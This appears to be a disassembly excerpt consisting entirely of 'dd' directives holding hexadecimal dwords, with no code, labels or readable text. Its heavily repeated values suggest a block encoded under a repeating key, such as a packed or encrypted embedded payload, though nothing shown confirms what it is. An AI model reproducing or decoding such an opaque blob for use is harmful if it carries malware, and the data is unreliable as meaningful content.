		dd 3093CB99h, 7B2C0C83h, 0D15D5C86h, 7AA85143h,	6BFB7A54h
		dd 501E1838h, 4DE065BCh, 0FC22C75Fh, 5CD14560h,	6B16C5BCh
		dd 5016CA39h, 5016DCBCh, 7F2EC5BCh, 0FFB2B64Ch,	0FC22C721h
		dd 5CD14564h, 6B16C5BCh, 5016C93Bh, 501DDCBCh, 0F70FC5BCh
		dd 0BAE933FBh, 0CEE3C5Dh, 9C958C98h, 5016C5B8h,	0FC22C7C0h
		dd 5CD14561h, 5416C5BCh, 67FC66FDh, 8A16C5BCh, 7A826873h
		dd 0A8DC02BEh, 85BDEED6h, 76AEB563h, 60FD95D0h,	3316C5BCh
		dd 24BD0498h, 17EA696Fh, 0DDD1097Bh, 0B1C187FEh, 0D56631F8h
		dd 5010BE9Eh, 21EAC5BCh, 5016C607h, 26E5C4BCh, 5016C602h
		dd 0DEDCC4BCh, 394C5BA5h, 5016C5A8h, 0CA2E2266h, 0B03753BAh
		dd 0F36A4035h, 25B4823Fh, 0AA1CF27h, 6E4AB62Bh,	0A33FBBBFh
		dd 667C7D87h, 0FC167C18h, 140D8678h, 10E9B088h,	0F4F87866h
		dd 0FF9C3CF8h, 0F4FC3A78h, 5D9DDCF8h, 0F4FC3CF3h, 0ACB84FAFh
		dd 0E8446104h, 749EC20Ah, 71F0BB80h, 6F076DFEh,	0F4F35419h
		dd 3A293CF8h, 5D6D7323h, 4E2A9AF8h, 0FB19ED4h, 0AF417FBBh
		dd 312DBBF4h, 0CEF2D354h, 0F4FC3190h, 772C21F8h, 0AF61DC7h
		dd 68AA55FEh, 0A9A9DB27h, 0C8A40F5Ch, 317E968Fh, 0C8A40F5Ch
		dd 5DA15EF9h, 0F4FC3CF2h, 3FEFD83Dh, 0E79B28D8h, 17A4B601h
		dd 7D7AB15Fh, 5DFF41D4h, 0F4FC3CF4h, 0CACC1E20h, 0F9C81EABh
		dd 2BFF9F0Bh, 83ED6FFCh, 13F5836Ah, 7DA963FCh, 8314B28Ah
		dd 304318D5h, 0D69C77FDh, 0D6127C42h, 0D58ADB41h, 0F4FFAD2Fh
		dd 3B7D3CF8h, 248627D4h, 637D61E6h, 248627D4h, 0FC14DC24h
		dd 9FFC3CF8h, 0D268FE3h, 0FF57D073h, 0F4FC3C76h, 437C0EF8h
		dd 0ADADDB2Bh, 0F4FC3CFBh, 0ACAC6BF9h, 0F4FC3CF9h, 0CC374F9h
		dd 0D49C0321h, 9D56A21Eh, 0F4FC4A9Eh, 0C4533F8h, 0CE0CF5E5h
		dd 802EC9F6h, 0E47A5C5h, 0D69D236Ah, 0C488E79h,	0FF242106h
		dd 0F4FC197Ah, 839EDCF8h, 52CBDA88h, 6EFCC6F4h,	7AF76C84h
		dd 0F4FC3CE9h, 0F4FBB2F7h
		dd 0F1153CF8h, 0B6FC3CF8h, 1738AC1Fh, 333B7966h, 3B7D4C0Ch
		dd 0DF28E073h, 637D61D1h, 0DF28E073h, 333B5179h, 7BF74C0Ch
		dd 0F4FC3CFCh, 0F4FEBCF7h, 0C6093CF8h, 0AA3AD2Fh, 0D046F1C6h
		dd 0F5498D95h, 6BD50C86h, 0F4EC5327h, 5DB83CF8h, 0FEE9D0E1h
		dd 0BECD01E0h, 98099863h, 999E6C21h, 0F4F6B3F4h, 0D69C3CF8h
		dd 0ADD77679h, 0D69D6370h, 0F5433D53h, 6DFC3CF8h, 0F07B0929h
		dd 0F039BBDCh, 0D3FC3CF8h, 0F4E8BFF7h, 0A153CF8h, 80FC3CF9h
		dd 22F21351h, 0E521FA75h, 3F37C078h, 0B54FF0A9h, 75F09150h
		dd 0F4FC3CF0h, 0F4FC4591h, 0F7901AF8h, 0C4740794h, 0F4FC3840h
		dd 833E3BF8h, 307D18FDh, 0F4FC3CFDh, 10C1B280h,	1089B285h
		dd 0A17577F5h, 0F7EB38FAh, 0F4FC4591h, 0FB063FF8h, 6F8466F1h
		dd 75A718CDh, 0F4FC47BDh, 87B64F8h, 55750BDDh, 0F4F87B66h
		dd 35433CF8h, 10F1C5FDh, 20077725h, 304303DDh, 200760FDh
		dd 30430EDDh, 0F9753DFDh, 5DFC3CF8h, 0F4FC3CF1h, 0F0D1D897h
		dd 7CF740E8h, 0F4BBD911h, 10C9B3F8h, 367D667Eh,	0F4FC3CFDh
		dd 77F9867Bh, 6CA018CDh, 6F27069Eh, 0CCB3DB84h,	0E77A8519h
		dd 0FAFF1B05h, 0FFFC3CF8h, 0F4FC3B7Eh, 75AE77F8h, 127F18CDh
		dd 0C7AB2130h, 0BCB62F47h, 75188B15h, 0B17D6894h, 0CF0B2B67h
		dd 0FE4E3C84h, 0F4FC4891h, 0A28FADF8h, 5A5D72FCh, 210A269Bh
		dd 0FCD954E1h, 0B6EC5E0Ah, 0FF7C6378h, 0F4FCD37Bh, 0F4E853F8h
		dd 9DDE3CF8h, 0AC09D386h, 0D1390DFh, 0AFA42B02h, 0F65DD589h
		dd 637D1070h, 0C8A44140h, 0AEAE71F9h, 0C8A44140h, 6CA669F9h
		dd 0F4FC3F9Eh, 0C6B0F8h, 0F2862BB3h, 0A868099h,	6F440CE3h
		dd 1D076C84h, 0D69C03B8h, 0D5550046h, 0F4FD9291h, 0B753DF8h
		dd 5DFC3CF9h, 0F4FC3CF7h, 4DA0BB05h, 65881390h,	0E84D4630h
		dd 0D6B3004Dh, 7CB3B729h, 34A5E590h, 6B7C3390h,	0C03CBC50h
		dd 0D4A483D0h, 0CA52AE1Eh, 0FFA40A18h, 0D59E8D47h, 1630D381h
		dd 0F8753CF9h, 10E075DCh, 0F4E8532Eh, 78F43CF8h, 0C18338A1h
		dd 64FDDCh, 250D4260h, 3BE018FDh, 0AEAE58D2h, 0C37A329Eh
		dd 75C265B9h, 0E0EEF89Fh, 6F3FBBF4h, 150C8C83h,	10C9B0B6h
		dd 0F4F87866h, 75053CF8h, 0BDCEC790h, 5914BBD2h, 1DCA5033h
		dd 593CBAB0h, 75CA5033h, 0BDCEC7B8h, 3D7DDCD2h,	0D3499E16h
		dd 0DD20BB1Eh, 717BDBECh, 0F7EB1D7Eh, 8305DB80h, 817BDA81h
		dd 0F7EB33AEh, 0F4FC4B91h, 0E187C7F8h, 6FF59455h, 2594FF21h
		dd 0AF89ADA2h, 1942B905h, 0F5FF41F6h, 0F0F9B8F7h, 2D053CF8h
		dd 73423CB8h, 0FFFC3CF8h, 0F4FC497Ch, 0F9763DF8h, 5DFC3CF8h
		dd 0F4FC3CF1h, 6DF9A82Dh, 1476C9DFh, 7AF089CEh,	6F0761EAh
		dd 0F4F8C7F4h, 79F73CF8h, 0F4FC3CE6h, 0FB34528Dh, 0B153CF8h
		dd 20FC3CF9h, 72662D5Dh, 86CFC089h, 0DBE72967h,	0E67E13A5h
		dd 713F500Bh, 0F7DDEF0Ch, 0F4FC3CFAh, 144FD381h, 18753CF9h
		dd 7D0AB3DDh, 0FF040E90h, 7FF73E4Eh, 0F4FC3CFCh, 0F4FEBDF7h
		dd 74093CF8h, 7BF0BB8Eh, 0F4FC3C13h, 0F4F5C5F7h, 0D69C3CF8h
		dd 567C6B73h, 5D9CDB3Ah, 0F4FC3CF2h, 0EEAD8772h, 56443762h
		dd 0CF0D1B8Eh, 0FA703DF1h, 82FC3CF8h, 637DDA88h, 5B2D145h
		dd 0A9A971E6h, 0C56E4469h, 0EBD07779h, 63FDFBBCh, 0F115DC22h
		dd 0D8FC3CF8h, 0A3DC8835h, 6F440C06h, 1D076C84h, 7FF703B8h
		dd 0F4FC3CE6h, 0AFF7DB84h, 0D530B1ACh, 0F4FCEB91h, 0C4B264F8h
		dd 0C7539448h, 1CA47AF8h, 0FC150256h, 2AFC3CF8h, 4D5D7889h
		dd 0C1F46A2Ah, 0F4FC3C45h, 0A212BBF8h, 1D87EF31h, 0A23ABAB2h
		dd 7D87EF31h, 0FD150E9Eh, 19FC3CF8h, 0DC18C5D4h, 0B0F2D573h
		dd 0C6A6A22Ah, 623D34D6h, 0CB4616FCh, 25FC4C24h, 45DD0D8Bh
		dd 3B7D6423h, 2133E0A4h, 24415166h, 43D54CD2h, 24417966h
		dd 637D4CD2h, 2133E0A4h, 7D7AB08Eh, 0FFFF41D4h,	0F4FC4A7Fh
		dd 0F4F153F8h, 441C3CF8h, 9C13B68Bh, 3A9B1B3Ch,	8322AA59h
		dd 13F5836Ah, 0B713DFCh, 5DFC3CF9h, 0F4FC3CF7h,	4083E8DAh
		dd 6256CBFEh, 72F9CDDCh, 0A97C8987h, 0F7EB2BD2h, 0D3783DF9h
		dd 68FC3CFAh, 7AF084C0h, 0F4FC3CD1h, 0F4F4BCF7h, 0F6153CF8h
		dd 7AFC3CF8h, 5F87301Ch, 0FF332334h, 6F05E87Eh,	7EF77684h
		dd 0F4FC3CF1h, 0F4C3C5F7h, 0D59C3CF8h, 0F4FEAD2Fh, 6ED53CF8h
		dd 0A15DC24h, 82FC3CF9h, 2F34DE21h, 0F4D8642Bh,	0B2CB753Eh
		dd 554FBDE8h, 1A76AE04h, 0D69DD91Dh, 7CF0B729h,	0F87BE591h
		dd 0FA39B9DCh, 0FC169184h, 0E8FC3CF8h, 4CC20D7h, 0DC3C4211h
		dd 0F4FC1E02h, 0B2D84871h, 0F4FC3CF9h, 27A6AF9h, 0AAB27723h
		dd 0F491ACEDh, 10E9B0A8h, 5DF87878h, 0F4FC3CF5h, 0B59B0DAFh
		dd 0A885906Ch, 841550E3h, 0CB12AA2Bh, 72CC524Fh, 6E3A6E20h
		dd 661BBBB3h, 0D4AB8BD9h, 7B8A5B46h, 667DE6D0h,	0FC9D3C10h
		dd 6C5A62B0h, 0E39D7966h, 73D502D1h, 0E39EA3D6h, 43D502D1h
		dd 0F4F3532Eh, 0A9CF3CF8h, 73CBE6D1h, 0F90FA20Dh, 0FAB9AED5h
		dd 0F8FC1186h, 0F0440C7Eh, 1DFC3CF8h, 10F9B0B8h, 5DF87878h
		dd 0F4FC3CF4h, 5630A8EEh, 1A55A52Fh, 5BFBCD52h,	2573C1F5h
		dd 25032AA1h, 839EDBA1h, 0F6793CACh, 75FC3CF8h,	0CAD199Bh
		dd 6D5BDBD9h, 0A70CBC19h, 0FA411706h, 75FC3CF8h, 0B2DC5097h
		dd 75163BDCh, 0B2DC50BFh, 83F70FDCh, 0F4FC3CEAh, 0F8146418h
		dd 0A1FC3CF8h, 6B52062Ah, 0B3DC59C7h, 0D33008EBh, 0F14AB319h
		dd 0D4FF41FCh, 7775A42Bh, 0A4A43CCDh, 713FDB5Bh, 0F7EB2BD2h
		dd 0F4FC3CF9h, 0F4FC3091h, 589D65F8h, 59EBE1E7h, 0A13AD8AFh
		dd 5675158Eh, 0F4F98666h, 0ACAC3CF8h, 0F4FC3CFDh, 77A586F9h
		dd 6DA018CDh, 0C4D84070h, 0F0F95C71h, 7BFC3CF8h, 0F07F47B9h
		dd 0D69C00DCh, 83AB5040h, 749CDA87h, 4774A2B9h,	10C86D06h
		dd 0F039B92Eh, 0F4EEBFF7h, 0F8153CF8h, 0A6FC3CF8h, 57483ECEh
		dd 0B5968B4h, 0C5184699h, 357D5B71h, 0F4FC3CFDh, 77F87B7Bh
		dd 107B18F5h, 0C793DDDh, 0FFFC3CF9h, 0F4FC4A74h, 0F4F153F8h
		dd 1ABC3CF8h, 2F1FD8EAh, 7777F200h, 0DC737D7Ch,	0F4FC29C9h
		dd 7DD82071h, 0F038BA9Ch, 7BFC3CF8h, 287F47BCh,	0FD1500DDh
		dd 9FC3CF8h, 95745B3Eh,	41FAB49h, 4D20528Ah, 74F76C84h
		dd 0F4FC3CEFh, 0F4FC4A91h, 0E2748FF8h, 7F573E1Ah, 57E67CEBh
		dd 0BA7E507Eh, 0A9AAA4E7h, 0BEC74755h, 49088E8Fh, 72B37766h
		dd 5EFEAAB9h, 0ABB36422h, 7714BCF0h, 44867979h,	73490A90h
		dd 74877F79h, 513C519Ah, 0B212BCFBh, 74B16779h,	63FDA78Ah
		dd 0D325B42Eh, 0F4FEC7F7h, 0A2043CF8h, 0F4F8B2F4h, 74F73CF8h
		dd 0F4FC3CE6h, 61751680h, 10F9BB2Ah, 0EA08250Eh, 17851F20h
		dd 0D4A1E98Dh, 2CD0A41Eh, 0D04C4706h, 0AEF9DDBCh, 1DA1752Bh
		dd 0CA461E81h, 0A4D10E8Fh, 0FF96781Dh, 0F4FC317Dh, 0B29EDCF8h
		dd 759E2471h, 0D502AC91h, 0F4FEBBF7h, 0CB093CF8h, 0F4FC3843h
		dd 0C90C47F8h, 4CD50C5Dh, 91A16CD2h, 0D69C0129h, 7418B542h
		dd 0A39D519Eh, 5B75088Ah, 0F4F87966h, 0ACAC3CF8h, 0F4FC3CFDh
		dd 77A479F9h, 0FFA018E5h, 0F4FC457Eh, 0F57D3DF8h, 68FC3CF8h
		dd 0F4F5C6F4h, 0AF9C3CF8h, 0E851AE11h, 2007DA8Dh, 307D01DDh
		dd 0F4FC3CFDh, 6D4F3D18h, 0F87BDA85h, 577515DCh, 0F4F98566h
		dd 37433CF8h, 10C1C5FDh, 8247DC25h, 0D6C15EF5h,	0D5E21941h
		dd 0CED83787h, 0F4F87879h, 5D9C3CF8h, 0F4FC3CEBh, 450F961Eh
		dd 11B91166h, 64585538h, 834AA77Ah, 0CA9DF1FBh,	3A7D5A71h
		dd 0F4FC3CFDh, 0CAF87A7Bh
		dd 0F0D8F787h, 10F9BD22h, 5C04DC25h, 0F4FC3CF1h, 440D31D1h
		dd 6D7273C2h, 3E0E7166h, 0D5A74BC6h, 6F24C191h,	37046384h
		dd 1581F57Ah, 0F4FC47FCh, 37A3DF8h, 5DFC3CF9h, 0F4FC3CFFh
		dd 556033D1h, 75F76A9Ah, 0F4FC3CF5h, 0F4FFB3F7h, 82F73CF8h
		dd 0F4FC3CF9h, 0F4F85079h, 20753CF8h, 10F9BBDDh, 11054435h
		dd 0B814BB20h, 0D4D963E0h, 524F3D29h, 3632BC23h, 0F0440C06h
		dd 75FC3CF8h, 0C8CAD4B8h, 75033B0Eh, 0C8CAD490h, 7FF7040Eh
		dd 0F4FC3CE6h, 1BDCD381h, 0F8753CF9h, 0F4FDA3DCh, 65FD3CF8h
		dd 6DA543F8h, 1F76C770h, 83F745E0h, 0F4FC3CE6h,	4D6AB080h
		dd 0FFFF41F1h, 0F4FC3B7Bh, 584377F8h, 10C9B3FDh, 0CED83F84h
		dd 0F4793D18h, 0D5FC3CF8h, 0C42AF7Bh, 0FFFD45E0h, 0F4FF847Ch
		dd 4CCB63F8h, 0F4FBBAF4h, 33093CF8h, 0C47E3CA3h, 6CFC3CF9h
		dd 0F0FAB77Eh, 0A1545E3h, 94FC3CF9h, 7F80192Ch,	0E626ACEEh
		dd 0E7B43CA4h, 25659AD4h, 7703C92h, 5DFC3CF9h, 0F4FC3CEBh
		dd 1BDB754Eh, 98863189h, 71D246D3h, 6ABA3814h, 897B072Ch
		dd 0F7DDEF0Ch, 0F4FEB3F7h, 0D4043CF8h, 0D6AE6348h, 0D5A67173h
		dd 0F8D8D079h, 0FE0EFF82h, 0F8D800F9h, 0B80BAD2Fh, 0E8FD3D8Eh
		dd 5DA74CDCh, 0F4FC3CF2h, 0ACCD0F55h, 79AD505Bh, 0AE40A604h
		dd 4C7DDB9Fh, 0E70BDC04h, 0F6C75319h, 0AE9C3CF8h, 0FBD2B755h
		dd 10C86D19h, 0F039B924h, 0A97A848Dh, 0F5FF41E1h, 68FC3CF8h
		dd 0CAD84070h, 3A7D5A71h, 0F4FC3CFDh, 77F87A7Bh, 0FFA018EDh
		dd 0F4FC497Dh, 0F4F653F8h, 5053CF8h, 77156EB4h,	66151236h
		dd 36A9A00Bh, 0C6D83070h, 367D6671h, 0F4FC3CFDh, 77F9867Bh
		dd 5DA018CDh, 0F4FC3CE8h, 0F6B089A6h, 4AAC4B5h,	5B84433Ch
		dd 0CD4B2FC3h, 8383B855h, 7DA918CDh, 0F03ABA9Ah, 75FC3CF8h
		dd 0F4FC47BAh, 10D1C5F8h, 0F4F65325h, 0D92A3CF8h, 8192B116h
		dd 1335482Fh, 7DC14C30h, 34473D19h, 7DA9DA85h, 0F046159Ah
		dd 0F5FC3CF8h, 31430D8Dh, 10D1C5FDh, 2156425h, 0AFFC3CF9h
		dd 0C3F315Ch, 46E0BB93h, 46BC5352h, 7B006C84h, 13CD1F42h
		dd 70F73BFCh, 0F4FC471Eh, 0F4FC4491h, 1A82CCF8h, 16446C9h
		dd 1F76CFD0h, 749C45E0h, 0D6B3F9B7h, 0CDEA0847h, 5972B119h
		dd 5DFF41DEh, 0F4FC3CF0h, 788894FAh, 2372874Eh,	0D49A8186h
		dd 839E684Ah, 5D7DDA8Ch, 0BD32FED6h, 0D1817B79h, 4DFDEA42h
		dd 0D1815366h, 357DEA42h, 0BD32FED6h, 0FA713D18h, 0C6FC3CF8h
		dd 0F4FE5326h, 4E243CF8h, 68D8D8CDh, 3A3EBB06h,	759B9D31h
		dd 38AB9D9Eh, 750513DFh, 38AB9DA6h, 3A16BBDFh, 0FF9B9D31h
		dd 0F4FC4B7Ah, 0F4F053F8h, 33B53CF8h, 0CE1380BDh, 0D9F06F60h
		dd 0B3AC98B8h, 0F4FC3CFAh, 0F4A17B79h, 4DD51744h, 0F4A15366h
		dd 0FFAB1744h, 0F4FC577Fh, 0F4EC53F8h, 0A82D3CF8h, 0D906CFC2h
		dd 58F278B3h, 0AA65046h, 4494494Eh, 7DFC3C02h, 5D5318E5h
		dd 0D4A48471h, 0FF157173h, 51FC3CF8h, 44304575h, 0C20C5977h
		dd 0B7C028EEh, 0A29D1A7Dh, 0F4FC339Eh, 2D7AAF8h, 2979D655h
		dd 0B917D46Ah, 0F0753CF8h, 0CDA40BDCh, 0F4FEB0F7h, 0A3053CF8h
		dd 0F4FC449Eh, 4A5813F8h, 11D66492h, 0F11DB329h, 0F4FC3CFCh
		dd 77F87C7Bh, 107B18FDh, 78F7DCDDh, 0F4FC3CF8h,	5D638678h
		dd 0F4FC3CFCh, 2B0CFAE9h, 0D553E3BEh, 0D3D83787h, 0F4F87879h
		dd 83003CF8h, 7DA918F5h, 0F03ABA9Ah, 75FC3CF8h,	0F4FC47BAh
		dd 10D1C5F8h, 0F4F15325h, 0E78C3CF8h, 87A6109Ch, 1E4641Fh
		dd 8303297Bh, 7DAC18CDh, 0F4F84699h, 34433CF8h,	10F9C5FDh
		dd 0F4F25325h, 0FD373CF8h, 0AE12C8B2h, 0CD0951FDh, 0C64ED2EFh
		dd 47545A4Fh, 751EB3D6h, 0F4FC47A6h, 0F03EB9F8h, 83D8307Fh
		dd 7EF718DDh, 0F4FC3CF3h, 0F4FC4691h, 905871F8h, 9815DF14h
		dd 6D076CACh, 0E988C6BCh, 0F4C245D9h, 0C5093CF8h, 43756B71h
		dd 7BD83070h, 0F71547BDh, 60FC3CF8h, 9D671A0Bh,	0A6F0C901h
		dd 0F5433DF7h, 6CFC3CF8h, 0FF7C6379h, 0F4FDBC7Bh, 0F7433DF8h
		dd 0FFFC3CF8h, 0F4FC3B7Dh, 637D60F8h, 0D467D35Bh, 0ACAC71F9h
		dd 0D467D35Bh, 6CA479F9h, 0F4FC449Eh, 0D58684F8h, 0E51A7136h
		dd 6F00A22Ah, 4BD56C84h, 0F115DC23h, 3AFC3CF8h,	26A0DBCCh
		dd 0F4F35319h, 13663CF8h, 67E4119Fh, 255DB2h, 0FCA82ED3h
		dd 57063293h, 5D9DDB5Eh, 0F4FC3C50h, 0F4F25418h, 0EB2E3CF8h
		dd 0CFA32A34h, 0BA745073h, 27CCB679h, 0C5983D31h, 0CD34B5F7h
		dd 290AA21Eh, 0ABB30A06h, 74036E4Eh, 4E741FB8h,	0B31FBC20h
		dd 1CA35E79h, 5D9C01B6h, 0F4FC3CF7h, 9F0BB486h,	70940200h
		dd 6AEBF2E4h, 0FF9DB567h, 0D59C6A47h, 0B2B2DB19h, 0F4FC3CF9h
		dd 457572D1h, 7BD84870h, 7B0047BDh, 28754795h, 0F400ADDDh
		dd 6DDD3CF8h, 0F715DC24h, 4FC3CF8h, 3004E983h, 0FF9C69BFh
		dd 0F4FC3C72h, 1CFCA4F8h, 0D59DFFF7h, 139CAD2Fh, 73FD1E8Dh
		dd 753B1324h, 60EBD890h, 0F77B3DD2h, 0D4FC3CF8h, 0B3AF7040h
		dd 8304DBEEh, 13D0B37Ah, 0F77D3DFCh, 0FFFC3CF8h, 0F4FC3B7Ah
		dd 817B77F8h, 0F7EB33AEh, 0F4FC3E91h, 0DC7F02F8h, 0AFF66AD3h
		dd 0FA25A76Fh, 33168DB2h, 0FF076C80h, 0F4FC327Bh, 0CFACDCF8h
		dd 0F4FDB0F7h, 379D3CF8h, 1581F57Ah, 0F4FC3AFCh, 0C1AE77F8h
		dd 0CAEBD245h, 10903BDCh, 75AB0FFDh, 0CAEBD190h, 839EDCDCh
		dd 0F4F752B6h, 0CAFE3CF8h, 87DC9BA1h, 0CD0A6AAAh, 0F08A6936h
		dd 0A6F7DB0Fh, 0F5743DF7h, 6CFC3CF8h, 0FF7C6379h, 0F4FDC77Bh
		dd 637D77F8h, 0C29C3764h, 1B2B5179h, 43FD1A74h,	1B2B7966h
		dd 3B7D1A74h, 0C29C3764h, 0F4FC4591h, 0E76512F8h, 0C77907BFh
		dd 0F4FC3B47h, 0CF0B3BF8h, 3A7BE618h, 0BCCE2141h, 815DBF4h
		dd 0D4FC3CE6h, 0F4EAB0F7h, 4153CF8h, 0E3FC3CF9h, 0B176CE14h
		dd 765F1793h, 0D1BE3EE0h, 0FF3A6057h, 0F4FC3A7Eh, 0D5A615F8h
		dd 0F4F35418h, 279C3CF8h, 5E1F9494h, 76DE9405h,	0C91FDA12h
		dd 83D96F0Bh, 0F4753DEBh, 0CFFC3CF8h, 0A4ACDA81h, 6E2C7677h
		dd 0F82475B9h, 207337B7h, 833D1458h, 307D18FDh,	0F4FC3CFDh
		dd 0F4FC4891h, 23309DF8h, 0FA1DC220h, 0CC60127Ah, 0ED84A7B8h
		dd 852A770Ah, 6C94152Bh, 0CFF30AC8h, 135C7579h,	470FE5DDh
		dd 475F5D66h, 7276B17Eh, 773A1324h, 71F70256h, 0F4FC3CF3h
		dd 5A7DE618h, 6A7CFF3Bh, 5843DA91h, 10C9B3FDh, 0F1A0AF47h
		dd 0F73FBB18h, 758F6ACFh, 0FFAC109Fh, 0A0FBB0Bh, 35D782D0h
		dd 667D459Fh, 0E7B67804h, 0D4A66BD9h, 0F4FC4991h, 1DED11F8h
		dd 329BC92Eh, 0FD9D8C27h, 86A41A2Dh, 0D551F601h, 2705AD2Fh
		dd 73FD1AA5h, 753B1324h, 48CF6390h, 0F914DCC6h,	33FC3CF8h
		dd 7D03040Ah, 5A37EB89h, 48A4D729h, 75F7038Eh, 0F4FC3CFFh
		dd 0F4FDB9F7h, 839D3CF8h, 13D0B37Ah, 0F57D3DFCh, 6CFC3CF8h
		dd 0FC26D770h, 6D9C45E3h, 1942B906h, 0F5FF41F6h, 6799B8F7h
		dd 5D9C6C84h, 0F4FC3CFAh, 0CAD63238h, 0CF0ABC09h, 0FF242119h
		dd 0F4FC1A7Ah, 0F4FE53F8h, 50CD3CF8h, 2EBD37C2h, 76F089CEh
		dd 6F075E0Ah, 0F4FC319Eh, 0D38E86F8h, 94168040h, 0C742B968h
		dd 0A5809947h, 0D538BB2Dh, 75B265C2h, 8C4A4694h, 0CF063B5Ch
		dd 0F4F8C5F7h, 7FF73CF8h, 0F4FC3CE6h, 2E3AD384h, 20753CF9h
		dd 7EF703DDh, 0F4FC3CEAh, 0F4FC4B91h, 51C450F8h, 0DF5A1EEBh
		dd 3D03ABh, 41963D2Bh, 5D7D640Bh, 0E61710F7h, 21DC5379h
		dd 6DD53FC3h, 21DC7B66h, 357D3FC3h, 0E61710F7h,	0F011BA80h
		dd 7DFC3CF8h, 0F14B18E5h
		dd 1DFC3CF8h, 21500AEh,	56FC3CF9h, 0A50447E5h, 3CFE5C47h
		dd 5D4D0ABCh, 7C30B428h, 5DA50081h, 0F4FC3CFFh,	0BE47954Fh
		dd 0D45A4172h, 0F4FC3C91h, 5B749F8h, 0E5A5993Ah, 36452D4Dh
		dd 0D00AC022h, 0F4C3C7F7h, 0D3AC3CF8h, 25342B19h, 5D342AA6h
		dd 0F4FC3CEDh, 77E65C1Eh, 626E6215h, 0F26CD3E7h, 0EC5CA7FBh
		dd 501C1F85h, 5156450h,	8AFC3CF9h, 0B2D43BE7h, 5076713Bh
		dd 0B7EE5D69h, 0A21B08B7h, 6F33219Eh, 0A7F7DB84h, 0B3B3DABFh
		dd 0F4FC3CF9h, 0FB7A69F9h, 75D84073h, 0F4FC47BDh, 0F4F053F8h
		dd 0A4AF3CF8h, 5DB4FAACh, 0B05699DDh, 5CC0028Fh, 0F4AEB8F4h
		dd 5C9C3CF8h, 0F4FC3CFFh, 70F8C84Ah, 0B29E76A5h, 0D6A62FE8h
		dd 67BB8C79h, 0F4F45306h, 0B56E3CF8h, 0A2EBDAE1h, 0F49475B3h
		dd 83FC3CF8h, 304318FDh, 78F7DCFDh, 0F4FC3CFDh,	3CF4A41Eh
		dd 785AE1Fh, 0F52E5306h, 759C3CF8h, 9CBC5AB8h, 567DE604h
		dd 0C49DD059h, 0F0F95C71h, 7BFC3CF8h, 0F07F4791h, 87500DCh
		dd 75AE63DDh, 0ED6418D5h, 87BEC2Ch, 0F039B9DDh,	0ED647979h
		dd 0B15EC2Ch, 12FC3CF9h, 0CE99C64Fh, 0A23F9FA2h, 0D1A123CCh
		dd 0F0FF484Ch, 587EABDAh, 0F4FC3CFDh, 0ADD83071h, 0F4FC3CE6h
		dd 0DC36BF9h, 954CDC2Eh, 0D533ADF4h, 0F48B1A10h, 10F9B3F8h
		dd 0F4FC4741h, 0CC033BF8h, 0F4FBBFF7h, 759C3CF8h, 0DB2199A3h
		dd 0D556ACD8h, 0F4FEB9F7h, 0CB003CF8h, 746BB62Ah, 567CD88Fh
		dd 943FBC37h, 7CAA6971h, 0FF1500A1h, 0E3FC3CF8h, 1B772595h
		dd 56B63A0Dh, 98E9B1DCh, 5D5A5D81h, 0F4FC3CF3h,	6347E326h
		dd 0C722219Fh, 0B2B269CDh, 0D14501C5h, 1DAB89F9h, 2814BA80h
		dd 5D9AA320h, 0F4FC3CEBh, 2CB8A296h, 0EE95484Fh, 0FB815909h
		dd 0DAE5FB6Eh, 0C7AE92E3h, 45A78A10h, 5F7D0D06h, 0D85F01FFh
		dd 0FB345D79h, 6D7577D2h, 0CD3B1324h, 0F4FC4891h, 76D986F8h
		dd 127F1033h, 78FB6E3Ah, 0A32DFC12h, 0E2A21600h, 0F011BB28h
		dd 7DFC3CF8h, 0D3A418E5h, 83F09080h, 0F4FC3CE4h, 0F33AA118h
		dd 0B151289h, 7CFC3CF9h, 0AF4076Dh, 8E671B48h, 796B2F23h
		dd 9A05F4F6h, 0D49DFD58h, 0F4FC3291h, 0BF14DAF8h, 11AB40E4h
		dd 367B646Eh, 10E1B106h, 751FB32Fh, 0F4FC47BFh,	0F03FB9F8h
		dd 0C8D8287Fh, 0F4FC4691h, 3361CF8h, 59470C5h, 7DFC3CE9h
		dd 0F14718C5h, 0F5FC3CF8h, 0FF040C86h, 0F4FC3B79h, 0B2B277F8h
		dd 0F4E50133h, 0F0D77A79h, 427D330Eh, 2C6BEC89h, 0EC695266h
		dd 5A3D60ADh, 7C03BBFFh, 67A929E9h, 0E613BAABh,	7DC4F1EEh
		dd 0F91501A9h, 0A8FC3CF8h, 15A3D503h, 782D0101h, 294FE4A8h
		dd 0F57A3CB8h, 61FC3CF8h, 751CB328h, 0F4FC47B8h, 0F014B9F8h
		dd 0C8D8407Fh, 5DD83071h, 0F4FC3CF2h, 8BF7FFF1h, 1F96F2B9h
		dd 3F971647h, 2607E590h, 10D1BB1Fh, 839ED11Eh, 304318FDh
		dd 0DDF9E6FBh, 759EDC13h, 0FFE405B6h, 0F4FC3877h, 0DC45E6F8h
		dd 3BC0DB29h, 0F5F8B8F4h, 4153CF8h, 6BFC3CF9h, 5C6B8916h
		dd 4DABFC6Ch, 51981884h, 6814D37Fh, 70F771C5h, 0F4FC3B9Eh
		dd 0F07E3D18h, 0D6FC3CF8h, 0C76E2E42h, 14738B79h, 0D5A4239Dh
		dd 70F77AC4h, 0F4FC3BF7h, 0F4F0B1F7h, 2153CF8h,	81FC3CF9h
		dd 1A218087h, 0C0A20BAEh, 0FF3A20E4h, 0F4FC6B7Ch, 299E63F8h
		dd 70F72684h, 0F4FC3BE2h, 0F4FBB9F7h, 0F1153CF8h, 0B9FC3CF8h
		dd 7B01B628h, 1EC1E58Eh, 0B0793C84h, 0FFFC3CF8h, 0F4FC3B75h
		dd 0ADAD77F8h, 0F4FC3CFBh, 0F57A6BF9h, 7BD83073h, 0D60447BDh
		dd 0D6AC1710h, 0ABD84071h, 0D6241B89h, 0F4EC5323h, 70583CF8h
		dd 0D261D8E0h, 6618C702h, 9E73A049h, 94C0422Eh,	0F412B8F4h
		dd 83053CF8h, 7DB218F5h, 0F003BA9Bh, 75FC3CF8h,	0F4FC47BBh
		dd 10E9C5F8h, 5147DC25h, 75833474h, 6FBCA1A6h, 0F494DBFFh
		dd 83FC3CF8h, 304318FDh, 0F6793DFDh, 0D4FC3CF8h, 527BE584h
		dd 0F5655306h, 7CF73CF8h, 0F4FC3CE6h, 6C352A81h, 0EBA429h
		dd 3CD9D849h, 67F96B11h, 212C74A9h, 73B76C8Ch, 0FFA47BDEh
		dd 0F4FC3D7Fh, 0F4FA53F8h, 0D7473CF8h, 0F96D271Bh, 0FAFC3CF6h
		dd 0F4FDCF91h, 0F7743DF8h, 0D4FC3CF8h, 8334ADF7h, 0DCA9DAB4h
